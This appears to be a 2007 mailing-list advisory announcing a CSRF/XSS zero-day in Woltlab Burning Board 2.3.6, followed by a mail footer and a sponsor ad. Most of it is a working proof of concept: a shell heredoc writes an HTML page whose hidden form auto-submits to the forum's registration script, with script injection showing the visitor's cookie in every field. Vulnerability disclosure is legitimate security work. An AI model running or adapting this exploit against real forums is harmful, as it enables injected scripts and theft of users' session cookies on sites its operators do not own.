Woltlab Burning Board (wbb) 2.3.6 CSRF/XSS - 0day

[SaMuschie <samuschie () yahoo de>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

+--------------------------------------- -  -- -
| SaMuschie Research Labs proudly presents . . .
+-------------------------------------------  -- -  -  
| Application: Woltlab Burning Board (wbb)
| Version: 2.3.6 (others not testet)
| Vuln./Exploit Type: CSRF/XSS
| Status: 0day
+----------------------------------------- --  -  -  
| Discovered by: Samenspender
| Released: 20070302
| SaMuschie Release Number: 5
+------------------------------- -  -- -

CSRF/XSS Exploit:

cat <<EOF > wetpussy.html
<form name='evilform' method='POST' action='http://victimhost/wbb2/register.php&apos;>
<input type=hidden name=r_username value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_email value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_password value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_confirmpassword value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=key_string value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=key_number value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_homepage value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_icq value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_aim value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_yim value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_msn value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_day value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_month value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_year value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_gender value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_signature value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=disablesmilies value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=disablebbcode value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=disableimages value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_usertext value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=field%5B1%5D value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=field%5B2%5D value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=field%5B3%5D value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_invisible value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_usecookies value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_admincanemail value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_showemail value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_usercanemail value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_emailnotify value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_notificationperpm value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_receivepm value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_emailonpm value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_pmpopup value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_showsignatures value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_showavatars value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_showimages value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_daysprune value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_umaxposts value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_threadview value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_dateformat value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_timeformat value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_startweek value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_timezoneoffset value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_usewysiwyg value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_styleid value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=r_langid value='"><script>alert("Cookie: " +
document.cookie)</script><lol="'>
<input type=hidden name=send value='send'>
<input type=hidden name=sid value=''>
<input type=hidden name=disclaimer value='viewed'>
</form>
<body onload=javascript:document.forms['evilform'].submit();>
EOF

+-----------------------------  -- -
| Lameness Disclaimer
+------------------------------------- - -- -  -  
| SaMuschie Research Labs was founded to publish
| vulnerabilities within well known software products,
| which are easy to discover and exploit.
| 
| SaMuschie researchers just spend a minimum of time
| and knowledge for each vulnerability. Hence readers of
| this advisory are requested not to ask any questions
| to the researchers.... they don't know the answer ;)
+----------------------------------  - --  - -
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFF6AyiMFgfGpQK8VERAsieAJwIMk+g0Y70cV6dR5YtsMfq4U+5fgCfWWzD
Qg6at+bMTnvHbw0SYyXk5ko=
=7wPg
-----END PGP SIGNATURE-----




        
                
___________________________________________________________ 
Der frühe Vogel fängt den Wurm. Hier gelangen Sie zum neuen Yahoo! Mail: http://mail.yahoo.de

-------------------------------------------------------------------------
Sponsored by: Watchfire

The Twelve Most Common Application-level Hack Attacks
Hackers continue to add billions to the cost of doing business online 
despite security executives' efforts to prevent malicious attacks. This 
whitepaper identifies the most common methods of attacks that we have seen, 
and outlines a guideline for developing secure web applications. 
Download today!

https://www.watchfire.com/securearea/whitepapers.aspx?id=701500000008fHe
--------------------------------------------------------------------------